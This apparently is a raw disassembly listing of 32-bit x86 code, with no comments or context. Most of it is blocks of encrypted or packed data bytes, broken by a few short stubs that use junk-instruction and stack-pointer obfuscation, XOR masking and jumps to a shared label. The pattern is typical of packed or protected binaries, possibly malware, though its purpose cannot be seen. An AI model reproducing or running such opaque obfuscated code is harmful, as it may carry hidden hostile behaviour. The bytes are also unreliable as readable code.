dd 61CC9B5Dh, 1768E149h, 1D45D3Dh, 892EC6ABh, 28E294DFh
dd 3D178700h, 0FD9EF55Dh, 6AF194F4h, 2C66AA8Eh, 3AD37749h
dd 865D3D17h, 0BD0044D3h, 0C1BA1FDAh, 0CD2BDE1Bh, 3EB6666h
dd 0A000000h, 472A8003h, 0B45B26A6h, 26F45933h, 9266CB9Dh
dd 1967B6Dh, 6C0D90F8h, 0D4B80547h, 42D4B9D3h, 0B1422FB9h
dd 520B4008h, 0C281E289h, 4, 4BF57h, 0FA290000h, 2414875Fh
dd 165A685Ch, 1C890000h, 30926824h, 14890000h, 43BD5524h
dd 5666DA17h, 0D12DE4BEh, 7BEFBB51h, 0F329BEB5h, 5DEB295Eh
dd 8904EC83h, 4832424h, 535A0424h, 87242C81h, 8F33B338h
dd 42810842h, 0B3388708h, 2434FF33h, 4C4835Ah, 5B2434FFh
dd 4C481h, 7EE90000h, 0D1FFF941h, 594367DFh, 3B77B8A5h
dd 0C503060Ah, 0ABD8E0FFh, 74B509F3h, 784058A7h, 30C9074Fh
dd 4BBF4BDFh, 0ADBB1CA3h, 59D368F4h, 36E47D30h, 0E2873143h
dd 0EC82600Fh, 423D7893h, 63B321D0h, 483A3FE6h, 0CA6D77EBh
dd 0AECE26DAh, 8D6E6D97h, 65A61A3Fh, 137854BFh, 47E65B61h
dd 12397149h, 9ADE2523h, 0B8AB1D33h, 0B4EE29D8h, 0ACEF7655h
dd 0E2443E59h, 68ED5F38h, 0F9196C88h, 22C65D06h, 0F63D1BEEh
dd 0FF2F06D3h, 3157292Ch, 8D8D6F81h, 60A3D14h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 5BC35646h, 54AF8D81h
dd 8D89720Bh, 60331D1h, 85C7F88Bh, 60301E1h, 73E4h, 5E9h
dd 9AA37F00h, 8B604718h, 310A98Dh, 30C68106h, 612C9326h
dd 21BD85C7h, 603h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1C0424h, 56460000h, 0F3A82EC3h, 799249ACh
dd 8589E2FBh, 6031FFDh, 235DB5FFh, 0BF0F0603h, 9195FFD7h
dd 81060326h, 643168D3h, 0FF006A4Eh, 31FB995h, 0EBC08B06h
dd 0DA9DE43Fh, 80222DA9h, 6BAC7527h, 0C3F5F52Fh, 0E5F04414h
dd 0EF71325Ah, 0A08B8321h, 83510AE5h, 8616FCFBh, 64A044C4h
dd 64D430C0h, 0B401F2C4h, 6D652C10h, 0D489FFBFh, 684618Fh
dd 0BBE8DE64h, 520C04EBh, 6E97CC1h, 49000005h, 0F24705AAh
dd 61F49821h, 93666A8Fh, 396FAFBh, 0AD07456Eh, 0AE532472h
dd 22C3573Ah, 0B039DBAEh, 1A649DCh, 0D4743243h, 7104B33Bh
dd 2A7CFF81h, 472AA243h, 0F65B09B2h, 6C95661Fh, 0E482697Ch
dd 0B517DC33h, 0E783D638h, 0E43CA43h, 0C5A33677h, 0B035D8A5h
dd 3A875D8h, 386CC049h, 7A6E8F66h, 0C2FC0597h, 4B95E811h
dd 0BB7106A7h, 6059D6B6h, 0EBE1402Ah, 79CCA01Ch, 0EB76169Bh
dd 0FDE6E607h, 39DB93C7h, 0A649DCB0h, 21BF4701h, 0EB770E54h
dd 0EDF7E135h, 0EA996CB5h, 64h, 0A2432A15h, 0F087022Ah
dd 0DBBD770Eh, 4A2BB6D6h, 0F03DD672h, 0D483770Eh, 0DDB21F49h
dd 0A7D1B4D4h, 0C897276Bh, 0C100054h, 0CB996D52h, 1, 8A6C0174h
dd 6A8B6261h, 0E4896762h, 3CFA9217h, 0A721C6A9h
dd 52234622h, 0BA523FA9h, 56EA5335h, 81A96302h, 770EF108h
dd 660BE174h, 95786C95h, 0F4EFFD02h, 0DB6F452Ah, 770EF042h
dd 0C5C2BBEh, 932FD4A1h, 0F4941DF2h, 0D0731B91h, 2B534516h
dd 616B8C6Ch, 4F05364h, 75999D1Bh, 31575C3Dh, 160FE687h
dd 786D7F84h, 9B7217EDh, 9EF721Ah, 0FB39E8E0h, 54CBC1D7h
dd 48A4996Ch, 0D7000000h, 6AE34701h, 0D6770EF0h, 2FC0A503h
dd 997FC28Ah, 0F0EE67C3h, 8752770Eh, 4BE95038h, 1AA4F07h
dd 9019FE43h, 7C8115F8h, 5387BD6Ch, 6D4C4F45h, 342899h
dd 2A4B0000h, 412CBC45h, 0E65E0EB3h, 0CBACE62Ah, 2A31A226h
dd 28A049h, 770EF082h, 0B1DBDCBCh, 25A7482Ch, 229CC07Ch
dd 7B7DA197h, 996D5261h, 11Eh, 442A9900h, 0AD402DBFh, 0F0D64FDBh
dd 472A770Eh, 54008B1h, 0F697D3BEh, 9BCE9E1Fh, 0F0D24BDFh
dd 0BB2E770Eh, 7426AD3Dh, 0A3442BBAh, 0F36CBC29h, 2E770EF0h
dd 0EF0811Ah, 2968FF77h, 0AEF2C6A2h, 0C1F90294h, 0F0AA2307h
dd 0B65A770Eh, 13325731h, 0EB84E844h, 0C46402A0h, 7511FFBAh
dd 68FDB520h, 0E1896788h, 38C15637h, 0AD7D3550h, 710BDF34h
dd 267DD88h, 0B3064A6Bh, 69B1DBDCh, 710BDFEEh, 0F38BDF13h
dd 60F59B1Ch, 9D60688Dh, 3093F5FAh, 0D8ADD80Ch, 0B0D5B738h
dd 0D94E58EFh, 38B40513h, 34C5C255h, 3D88DD8Fh, 528084AFh
dd 507F936Ah, 0F8000001h, 4B6785F0h, 1208E1FFh, 0C0885F75h
dd 77159A7Dh, 11390BE2h, 710BC878h, 0C90E87A3h, 0E772710Bh
dd 3A5239ACh, 0AD3FC057h, 0A47633C0h, 75D8B01Fh, 0B4903A8h
dd 0E57E72Bh, 0C2A3C216h, 18A1722Bh, 0BB52378Dh, 7AAE02F0h
dd 0B5335AEh, 0BBDC8B71h, 533EF28Dh, 29EEF63Dh, 80E9936Ah
dd 0A000000h, 6AE34701h, 0D6770EF0h, 0F0DF78D0h, 8E5D770Eh
dd 90FA4523h, 0C99C5610h, 60F95127h, 0DC770EF0h, 0BF2AA209h
dd 0F0A0E9C1h, 0C99C770Eh, 0F0DE779Fh, 866E770Eh, 98F0F599h
dd 9B6666CDh, 0A99F3F4h, 0FE74C60Ah, 20F392C6h, 81F0B9BFh
dd 0C64CE2D4h, 0D1354A6Fh, 79C4E98Ch, 6963886Ah, 4D37807Ch
dd 0B45913AFh, 0D88DDFE0h, 45034C5Ch, 4179770Eh, 0E4470E9h
dd 0B219CC77h, 713BDEh, 0F0BA0000h, 0FF4B6785h, 75121415h
dd 0A10C5C0Bh, 0D6BB29CEh, 682EBE3Fh, 0CC019AAEh, 0E87F710Bh
dd 0CC2C3C0Ch, 0FDBB710Bh, 67618A68h, 6EB28662h, 0B74441D4h
dd 8621A732h, 65C5FDFBh, 6F05F712h, 0DE68B669h, 6A2FC139h
dd 0A820B78Eh, 0DB8D32C5h, 0EC489C90h, 0B46703A1h, 32AC6EDBh
dd 85C3B975h, 0FFF552A5h, 751BCE74h, 0A03911CBh, 1C710BD5h
dd 0F070F349h, 884B6785h, 0FD4D08FCh, 0F046FCB6h, 0F0C95465h
dd 20DA9410h, 6549C266h, 20B7770Eh, 91116444h, 580F7508h
dd 0F6A37D1Eh, 0B7D37CCEh, 29CC5139h, 1830EA84h, 7104267Fh
dd 0B1DBE0B1h, 926EFDD4h, 63846BFEh, 36AEC169h, 0EE422ABFh
dd 3B0DE0BAh, 4D1676EFh, 0B01FCAFAh, 1A649DCh, 0E70ED147h
dd 0BEC244D4h, 16FE9369h, 836AF791h, 0F3876A62h, 1D139AF2h
dd 0C0FC49C9h, 0B233DA9Ch, 797E11F4h, 0EC3C7A6Fh, 0FA4DA773h
dd 0C2A602C9h, 23E0B154h, 63D9A44Dh, 646670Eh, 3CBh, 80036A00h
dd 26A6472Ah, 5933B45Bh, 0CB9D26F4h, 7B6D9266h, 90F80196h
dd 5476C0Dh, 0B9D3D4B8h, 2FB942D4h, 4008B142h
db 0Bh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
push eax
mov eax, 4
sub ebp, eax
pop eax
xchg ebp, [esp]
pop esp
push 53E2h
mov [esp], eax
push 6943h
mov [esp], edi
push 60A3D63h
mov eax, [esp]
add esp, 4
push esp
mov edi, [esp]
add esp, 4
push 5E73h
mov [esp], eax
xor dword ptr [esp], 7D412888h
pop dword ptr [edi+8]
xor dword ptr [edi+8], 7D412888h
mov edi, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
mov eax, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_5439D9
; ---------------------------------------------------------------------------
dd 0BF646DC8h, 647E926Ch, 41E1B8D6h, 0C503060Ah, 0CDCCE0FFh
dd 0EEF3730Eh, 0A2907935h, 0ED04519Bh, 10D54617h, 98003A90h
dd 0F8C12495h, 30EC4A29h, 37E5E4Ch, 4EB70E7h, 3BD0A51Bh
dd 54FE9h, 0C7E88B00h, 5A5F3C81h, 24CDA336h, 0B439DDA0h
dd 7AC4DD0h, 6634E341h, 91646891h, 5E8FC01h, 8B1E7277h
dd 0F48DC3E4h, 0AEFD96B2h, 0B1437104h, 0A2432A32h, 9B2472Ah
dd 6B08DD5Bh, 0E5430646h, 80C8ED80h, 33555A3Dh, 0A424CDAEh
dd 0D7B136D9h, 4A02A34Ah, 50EA3EF2h, 3BAE3EC3h, 0F3271DACh
dd 97D3D4BBh, 0F19B20F6h, 0CA741894h, 3A95A909h, 4D0F5059h
dd 926366E2h, 1CFE9369h, 8D47F197h, 0E1324BDh, 77CD9877h
dd 3F7B8012h, 0C41DD285h, 75A65276h, 0E4FBA53h, 17530677h
dd 0E4F9A33h, 0F573E677h, 0C1692395h, 770E4F48h, 264B21B4h
dd 0B03BAD52h, 8416287Ch, 0F184697Fh, 0D6749CCCh, 68770E4Fh
dd 85686085h, 179ECEF3h, 3E45F519h, 0BAC2D6FAh, 0E9996CB0h
dd 19737404h, 85EAF04Ch, 15000000h, 2AA2432Ah, 0EF08702h
dd 0D4D9BD77h, 16881BB4h, 9BE6D0E9h, 0CD9F20F4h, 0D363B78Fh
dd 544C9084h, 996C7550h, 10Fh, 6C01A800h, 0E68B618Ah, 11FCEC15h
dd 806D7F84h, 3C81CBECh, 0FF8D9C5Bh, 165F4FF6h, 9E7CC18Bh
dd 6EE7315h, 0D1E2E7E1h, 0EC9F3F63h, 8C610C50h, 0C184C4E9h
dd 4C75066Bh, 17FD9E18h, 0E0BC72DCh, 3A4481Fh, 882DC0A5h
dd 88A05AC4h, 770E560Fh, 55A53E0Ah, 4C1B770Eh, 0A92A8655h
dd 6AE34701h, 0D6770EF0h, 2FC0A503h, 9E7FC28Ah, 6CD07315h
dd 758A4D38h, 0D86FEFCh, 0D2BA3FD1h, 394C28B7h, 0A83D5358h
dd 0C5A820C5h, 4FDE8E33h, 0A1AB8DD1h, 2996D45h, 0E367E048h
dd 98AB770Eh, 672D1977h, 0CF90475Eh, 901C0F9Dh, 5FBD3B7Fh
dd 60h, 0BC452AD8h, 0AAF412Ch, 7C1FDB42h, 0B4ED4C84h, 0C4A83F4Eh
dd 2D714523h, 697F8415h, 0BC55F5AFh, 770E28h, 0E58ADF55h
dd 4D218CDCh, 0B36120A8h, 8483896Fh, 487C996Ch, 0FF000000h
dd 2CBC452Ah, 3EC4B341h, 8116B75Ah, 3EB6D6BDh, 0F16ABE78h
dd 3770E74h, 9C4B4A6Bh, 0B6C81C20h, 0CFB4D8E1h, 6A0492Ah
dd 906C9567h, 0CAAF3EF8h, 4622A721h, 0EF0E866h, 0AAFE2277h
dd 6D51B6CEh, 1B199h, 2AC20000h, 402DBF44h, 0AFDEC2ADh
dd 600ADBD3h, 0B488F395h, 0A3482E60h, 0F9F7822Dh, 0FC5F69C1h
dd 0EDD7511h, 0F4F99D70h, 137BF194h, 82C6E78Eh, 51424314h
dd 109ECB23h, 991EF194h, 0FC9649CFh, 47564D4Bh, 900B2399h
dd 0B1710B36h, 7E11297Dh, 0D8AD6B79h, 63D5B738h, 0B364EC7h
dd 5827B271h, 0C1E689DCh, 52533A87h, 67AB693Ah, 21A7482Fh
dd 0FEFF9677h, 982B3102h, 62249369h, 57000001h, 4B6785F0h
dd 0DA73D791h, 26770EF0h, 0F71535B3h, 45751208h, 846BF696h
dd 0F5986D63h, 45D7B6F0h, 0EEA8C0BCh, 1577781Fh, 0C90E87A3h
dd 0E772710Bh, 26C99C18h, 7404E981h, 0F04C1973h, 0C5090B98h
dd 0B233C7A6h, 5C318FDAh, 935034B9h, 936A2A89h, 6746h
dd 0AE7A3400h, 710BCC35h, 0E589DC8Bh, 0F0EF64C0h, 0E0486686h
dd 770EF097h, 870028E2h, 0F5770EF0h, 3CAB8A66h, 0E40DE382h
dd 7D1632E4h, 0C3770EF0h, 39DA8914h, 8C5434B0h, 770EF113h
dd 36A6EACAh, 5812AC4Ch, 89C3E8B5h, 0FF4860DCh, 7D770EF0h
dd 0F074ED3Dh, 9BAF770Eh, 770EF102h, 3DA8EB7Eh, 0A6DF3256h
dd 66000000h, 0FAB485F0h, 0EF0B52Eh, 4C5C0B77h, 770EF0D3h
dd 7A129765h, 0DAA1346Fh, 14C28C9Ch, 2DB87512h, 0BE3FD6BBh
dd 0F6996C2Ah, 7F167BF1h, 86CBEDB4h, 9A61763Eh, 0D08A44F2h
dd 0B0BDF78h, 9E8E5D71h, 710B0C05h, 3810EC7Bh, 710B0C28h
dd 75F83BFh, 0DEDFB770h, 8B9FDB8Eh, 710B0C12h, 786CFB6Eh
dd 8A6444Fh, 4CA0B20h, 8AC2896Fh, 13AF5027h, 9F159A72h
dd 33D284CFh, 0DADE5A5Bh, 5D5B26B6h, 0C39A7225h, 10D04BF7h
dd 394EDA94h, 0D074FF64h, 30585D3Dh, 0E729A286h, 0C097710Bh
dd 0CBA6FF75h, 51378223h, 8E6C0122h, 55208F65h, 0FA0F1B57h
dd 767508AEh, 41FA2029h, 8712ACC9h, 0DA9578C5h, 0B040DE11h
dd 97766A0Fh, 39CCEA71h, 0B5D9575Ch, 0BF504D20h, 153DAF3Ah
dd 63AEE566h, 102A7EB2h, 843E787Dh, 3E652BA4h, 6ECA913Bh
dd 0DFE0B71Ah, 0AB4C208Dh, 5F00BA21h, 9F267647h, 566AC60Dh
dd 0A54802h, 4216F94Ch, 0E325CEA3h, 3B3EEF6Ah, 0D4B403D6h
dd 0D39h, 47014400h, 0EF06AE3h, 0A503D677h, 472AEAE9h
dd 0B45B26A6h, 26F45933h, 9266CB9Dh, 1967B6Dh, 6C0D90F8h
dd 0D4B80547h, 42D4B9D3h, 0B1422FB9h, 680B4008h, 3209h
dd 57240C89h, 0C781E789h, 4, 4EF81h, 3C870000h, 2C895C24h
dd 61086824h, 14890000h, 47D56824h, 4890000h, 44EF6824h
dd 0D5873D2h, 184411B8h, 502E0C1h, 7C5C78DCh, 5471C905h
dd 58C5899Ah, 4EC81h, 24890000h, 24048124h, 4, 0EE89565Ah
dd 8B087289h, 0C4812434h, 4, 5A2434FFh, 8B04C483h
db 2Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5439D9
; ---------------------------------------------------------------------------
dw 0E17h
dd 0A4763B8h, 0FFC50306h, 842BECE0h, 7146926h, 2B12C60Fh
dd 10E86Ah, 85830000h, 7FFDDD16h, 4016FE56h, 36EA7E20h
dd 0B70FB487h, 0B6B05FDAh, 61D1C781h, 81660000h, 0B92BF1E6h
dd 7B876CA1h, 5449E981h, 178B7B87h, 48A9EA81h, 80604505h
dd 0CE8B23F2h, 53C28161h, 6668E4C7h, 0B431D381h, 8FDDF281h
dd 8B570266h, 17895BD8h, 0A996AABBh, 1EF8347h, 4F4F4FF5h
dd 0E983FC8Ah, 0C3850F01h, 60FFFFFFh, 5231E580h, 0A873B5BBh
dd 8D615F64h, 0A495F8Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1A04h, 0C3534300h, 6D5272C4h, 89F537B6h
dd 331D18Dh, 71BD8906h, 0C7060311h, 301E185h, 717C06h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h
dd 0C3564600h, 8BF54CF0h, 0BD85C7F7h, 60321h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h
dd 43000000h, 0D66BC353h, 8EB8166h, 0E9B5FF12h, 6A060313h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h
dd 40000000h, 9052C350h, 4B14C88Dh, 15A2C39Bh, 0EE8F28Bh
dd 75000000h, 5326395Eh, 738BA490h, 0DF939CD3h, 5FD38BC9h
dd 269195FFh, 95310603h, 6032FE1h, 95FF006Ah, 6031FB9h
dd 1EEBC08Bh, 68093D90h, 56D0046Dh, 0FF0E3259h, 7FF2A20Eh
dd 0B9FF475h, 348A31DFh, 0EAF04370h, 4EB5D28h, 294CA10Dh
dd 5C1E9h, 0D3D4A700h, 0A64B28BDh, 30B95F22h, 8025C95Ch
dd 139879CCh, 1248F77Dh, 8D10747Dh, 3184C8EDh, 0A70A5E63h
dd 18B92FD0h, 0A8118A9Eh, 0DD6F7104h, 0A2432A1Eh, 96B26C2Ah
dd 770EF0FDh, 1EF19443h, 0A94E2399h, 16F94C00h, 6C63055Bh
dd 0F9A5AD7h, 981DF05Dh, 416A0FDEh, 1E880129h, 61F4770Eh
dd 5035E38Bh, 34513BBCh, 0A348D5B8h, 0FCB66029h, 0E1EB32Ch
dd 24420977h, 0E1E8B04h, 8E6AF177h, 492C66AAh, 0BF5D20A4h
dd 31C3563Ah, 9D7DC088h, 3BBD5E18h, 913E2662h, 38A3CBA1h
dd 0FC9ED004h, 462791F7h, 0E5B0DB2h, 0B738DFB2h, 648F0DD5h
dd 9B99770Eh, 0C65B6177h, 9714996Ch, 0A7000000h, 0B55A432Ah
dd 36BB590Ch, 24A43356h, 0EF0811Ch, 0DEDFB377h, 0A54E238Eh
dd 4C23A623h, 0B26221ABh, 93812C6Eh, 5253694Fh, 10C996Dh
dd 0AF000000h, 6AE34701h, 0D6770EF0h, 33C0A503h, 0E87A35Dh
dd 72770EF1h, 0F02CA5E7h, 3CDC770Eh, 66CD98BBh, 0F1FA9B66h
dd 5D620A97h, 0FB04025h, 0A650D9B1h, 0CA5E36C7h, 770EF051h
dd 15AD38AFh, 0EF09C35h, 0FF75E077h, 3EDF97BBh, 0E743FDB5h
dd 770EF06Eh, 0C5A907D2h, 0DFE48A5Bh, 67DDE688h, 2C4A6B02h
dd 0BB31B659h, 452AACD7h, 0E04802BCh, 770EF067h, 0AB4306D5h
dd 0A907420Ah, 1A9F7CC1h, 0E8A2BB5Ch, 0DED54EDAh, 0BC2B770Eh
dd 0D129821Bh, 502CBB40h, 3EC35538h, 8A2BC3AEh, 78AC90C2h
dd 5B8FB5DEh, 7456E03h, 0B2DADBB2h, 28A0492Fh, 8197BB79h
dd 996C7B8Bh, 3CC15538h, 775A40h, 2AE50000h, 6A2CBC45h
dd 9AF2F39Bh, 7A1C71CFh, 92AE1771h, 5E63344Eh, 0D1D2A70Ah
dd 0B82DBF44h, 0D3BE43D5h, 0BF40D4B9h, 2BBA7C2Dh, 0F1C5A344h
dd 4BC1CBADh, 55BE996Dh, 0FC000000h, 3EEF575Bh, 1BF966AEh
dd 493F696h, 452A2BA8h, 0B3412CBCh, 50E65E0Eh, 171CDBBDh
dd 0E9FF70C9h, 481D4FDAh, 0E984C8ECh, 1D4F7004h, 8EDEE3B0h
dd 9DF04CDBh, 40690FFCh, 92F65D08h, 0A0492AE1h, 0F0820028h
dd 9084770Eh, 5250544Ch, 10F996Dh, 0A8000000h, 0AD75442Ah
dd 0EF51FC6Eh, 0CB069FABh, 0EF7A770Eh, 68FDB500h, 22FCA984h
dd 42091985h, 660895F7h, 0F35E0B5Dh, 0C2A31575h, 592C8831h
dd 2C5731B6h, 0E48ACC10h, 93FE89DFh, 0C3CD5D15h, 397511FDh
dd 0E97C3A52h, 7A133709h, 0C6710BDDh, 79C48413h, 29871297h
dd 720CB144h, 0DDF790B8h, 9645710Bh, 1F951EF3h, 0EE0FE64Bh
dd 0DDBB56FEh, 0DA5C710Bh, 0AD8A690Bh, 0B1011636h, 0EC8EDDA8h
dd 15569C7h, 0BF4CB162h, 3E72B525h, 0A7482F42h, 34B95C21h
dd 8126C954h, 497204E9h, 6E089BF3h, 79F7F89Fh, 0B6591145h
dd 0C98328C9h, 0CD46E29Ch, 33710BC7h, 0D8BD9A4h, 466D7D4Ah
dd 35C75DF4h, 784B218Ch, 936A3464h, 16A63h, 0D3865900h
dd 68E149C9h, 0D4710BBDh, 0E31A7001h, 0F0B83BB1h, 0F0F99F85h
dd 0D4B84D65h, 502CB9D3h, 9143216h, 0F7627512h, 0B8650895h
dd 64AD1DAh, 3EE0C798h, 0CF9922F3h, 2114C59Ah, 4267085Fh
dd 8CE15F0Ah, 3984C4E9h, 94375156h, 0A13A01D2h, 9DCFF485h
dd 6FB9B7C8h, 4E92A602h, 0BB8F6134h, 710BD122h, 687CCB9Eh
dd 6A32C1DBh, 4BBE93h, 0F0390000h, 0E0486686h, 770EF097h
dd 4A6B03E2h, 0C8E94702h, 2DEB5CD7h, 0B90406A3h, 0FB8E072Fh
dd 1751770Dh, 75C67C44h, 9D1BA0B0h, 9DE77599h, 0E0E811E7h
dd 0E47DCDE5h, 58770E55h, 0A088268Dh, 770E5557h, 9F7216C5h
dd 0AFh, 385E0126h, 65EA999Dh, 8EAAFC9Dh, 91175ACBh, 0C3E1AC1Bh
dd 30B983A7h, 2DC07511h, 0A623A54Ah, 0F384EBCAh, 30189ECEh
dd 710B2F97h, 1CEB76E5h, 0E90EE14Ch, 719A3DFBh, 3E2CD2C9h
dd 0F99CF14Fh, 0CB8A0327h, 63F6710Bh, 3C2CF494h, 0BE710BCCh
dd 29B4D4DDh, 36B75E4Bh, 954921ABh, 3187F141h, 0BD3BBC5Ch
dd 7A1D5579h, 2D581775h, 3E57F38Fh, 0E56F0583h, 0FDE69432h
dd 1894E233h, 573A5239h, 8E2FC7C0h, 0AC3C8BDEh, 5BD90D27h
dd 54F4B230h, 74FF0F3Bh, 0E29CDA81h, 3456E03h, 20CD4646h
dd 0F454710Bh, 710B205Bh, 4C1B3AA1h, 0F0E79CF0h, 0FF4B6785h
dd 7508A7E6h, 1FA0775Ah, 0EC3CF6B0h, 7104A773h, 0C46402C9h
dd 7104A74Bh, 3E4E2AB1h, 553BBC53h, 0CF5B2DC0h, 7104A756h
dd 0FCEC15E6h, 5423B6E9h, 21DEC34h, 0C57B5643h, 1038F291h
dd 4DC24977h, 9C7316C5h, 9814711Bh, 0CF9D22F5h, 7A12937Ah
dd 0EEFEFF97h, 14B6C03h, 0B6D6DBBCh, 0CCA6472Bh, 9912ACF0h
dd 583F779Bh, 3DDDCEAFh, 2462DB8h, 0B5D7D8BFh, 0D58h, 4701DB00h
dd 0EF06AE3h, 0A503D677h, 472AEAE9h, 0B45B26A6h, 26F45933h
dd 9266CB9Dh, 1967B6Dh, 6C0D90F8h, 0D4B80547h, 42D4B9D3h
dd 0B1422FB9h, 500B4008h, 0B951E089h, 30476265h, 3AA3E981h
dd 0D1F73572h, 3AE98141h, 1052AD8h, 0E88359C8h, 24048704h
dd 0E789575Ch, 4C781h, 0EF810000h, 4, 5C243C87h, 68240C89h
dd 3C50h, 83243489h, 148904ECh, 14D6BA24h, 0E2810515h
dd 7F711Eh, 814ADAF7h, 0E0A664F2h, 5AD189F9h, 24348B54h
dd 4C481h, 0EC810000h, 4, 89240489h, 84689C8h, 24348B58h
dd 81E18951h, 4C1h, 4C18300h, 5C240C87h
db 8Bh, 0Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5439D9
; ---------------------------------------------------------------------------
dd 0ABB87AA1h, 3060A4Eh, 0EBE0FFC5h, 172AC4F8h, 5C3EC60Dh
dd 2C155E42h, 912AD3E1h, 567293ACh, 0E816D61Ah, 0E3455693h
dd 0AA7EFC12h, 0C227CEA8h, 2979CB35h, 545A0316h, 1D4CA840h
dd 797DA2A8h, 0BC088E09h, 52266B8h, 58376AE8h, 3339E770h
dd 1124CB72h, 0E17DEAE3h, 40332B2Dh, 450EB37Ch, 0EC38C4BCh
dd 8207D004h, 0E42179FFh, 943E939Bh, 0C122ECF1h, 381FB4B4h
dd 60203AE4h, 21239F81h, 4E505A78h, 0EB6E1CB2h, 10h, 3 dup(0)
dd 6AC08B00h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1C042444h, 41000000h, 0FD08C351h, 20BCFE3Ch, 83705EDAh
dd 31039BDh, 9750006h, 111DBD83h, 74000603h, 8B535019h
dd 42DB8C0h, 85890000h, 6031775h, 0B0919D8Dh, 0D3FF0605h
dd 0BD83585Bh, 603111Dh, 50177400h, 42DB853h, 85890000h
dd 6031775h, 0AD809D8Dh, 0D3FF0605h, 6A585Bh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 180424h, 57470000h, 2DE9B3C3h
dd 0F8572762h, 15BD895Ah, 8B06030Bh, 53006AC0h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 12E538ECh
dd 0B533AA2Eh, 603194Dh, 13D18D8Bh, 0F9830603h, 0AF840F00h
dd 81000000h, 6166CEC2h, 0FE83Eh, 577B0000h, 7898F354h
dd 9539518h, 1A097F96h, 0FD8D8937h, 5A06032Dh, 2C3D8B64h
dd 60000000h, 0A59589F9h, 6106030Fh, 13E8h, 70E30E00h
dd 0F5151D18h, 4B2F21E3h, 8137E2B4h, 0B194851h, 25E5B58Bh
dd 0B5A0603h, 57840FFFh, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0DC52C356h
dd 0EE81DA0Bh, 0B64212Bh, 6A3F8Bh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 180424h, 55450000h, 6D5AEEC3h, 0C032B9EEh
dd 9FD9D89h, 0AAF30603h, 0D58FF681h, 4935058Eh, 80535041h
dd 85C661E6h, 6032F39h, 9E947h, 62720000h, 0D6206886h
dd 687811B8h, 0B80AC196h, 0BA243481h, 6664DC49h, 0B529D78Bh
dd 60310D5h, 28C9B5FFh, 6A0603h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 170424h, 55450000h, 78A1C0C3h, 0B5B589DBh
dd 89060331h, 33035BDh, 0BC858D06h, 0FF060673h, 319501D0h
dd 89060302h, 3093185h, 1880F06h, 0FC000000h, 2F3985C6h
dd 6A530603h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 19042444h, 41000000h, 1BBAC351h, 0B5073B02h, 68C68166h
dd 693F68E7h, 0CE83AA0h, 0BC000000h, 0D788C7FBh, 20C42209h
dd 56D211D2h, 5A5A46B2h, 0BD240481h, 6A4DF801h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
dd 2915C350h, 320C595h, 9B52306h, 0FF060309h, 328C9B5h
dd 81958906h, 8D060302h, 673BC85h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 895AC06Eh
dd 31DA195h, 0CE906h, 0E9970000h, 0BA460DD9h, 21DBA970h
dd 0D0FFF637h, 10B1958Bh, 858D0603h, 6063BF7h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0F2C35747h, 88522FF2h
dd 0F1BF0F78h, 0F858589h, 0E9520603h, 0Ah, 421BFA4Bh, 4B9EDEA2h
dd 0F5E3C55h, 583h, 0CE816600h, 206A946Ch, 95FFFF6Ah, 6030F85h
dd 50414935h, 8585C753h, 106032Eh, 0C7000000h, 3233D85h
dd 6, 77DA8100h, 6A315B78h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1D042444h, 42000000h, 9F78C352h, 67473E6Fh
dd 9BAAD27Bh, 28198D09h, 0D08A0603h, 2CDDBD83h, 0F000603h
dd 6384h, 22E28100h, 8B37671Ah, 312E585h, 52006A06h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 0FA69F80Dh, 57440961h, 0A364h, 0F28B0000h, 1CE5958Bh
dd 858B0603h, 6031F3Dh, 13E9h, 76FCDB00h, 304CD9h, 0DDA731D2h
dd 6EC1F284h, 92FF0277h, 0BD89E08Bh, 6030FD9h, 2C7DBD83h
dd 0F000603h, 40B85h, 8BD18B00h, 3985C6F2h, 5606032Fh
dd 9FCA8166h, 11952328h, 0E8060313h, 4, 0A9C530DFh, 7E8h
dd 53F94B00h, 712D7EEDh, 61D98A60h, 5250505Ah, 310F28B2h
dd 0CE10BA66h, 448B585Ah, 0D78B0424h, 800F008Bh, 3, 89F78B66h
dd 0B2042444h, 6A58B9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1B0424h, 53430000h, 7A110AC3h, 6CC78F8Ah, 0A144BE3Ah
dd 0B5FF396Dh, 60328C9h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 16h, 36C35040h, 31575F3Dh, 306218Dh, 0BA665E06h
dd 858D1B37h, 60673BCh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 17h, 0C9C35646h, 0FF120C2Ch, 57006AD0h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
dd 7121CDD0h, 0B5235DBCh, 6030941h, 8E850h, 0E360000h
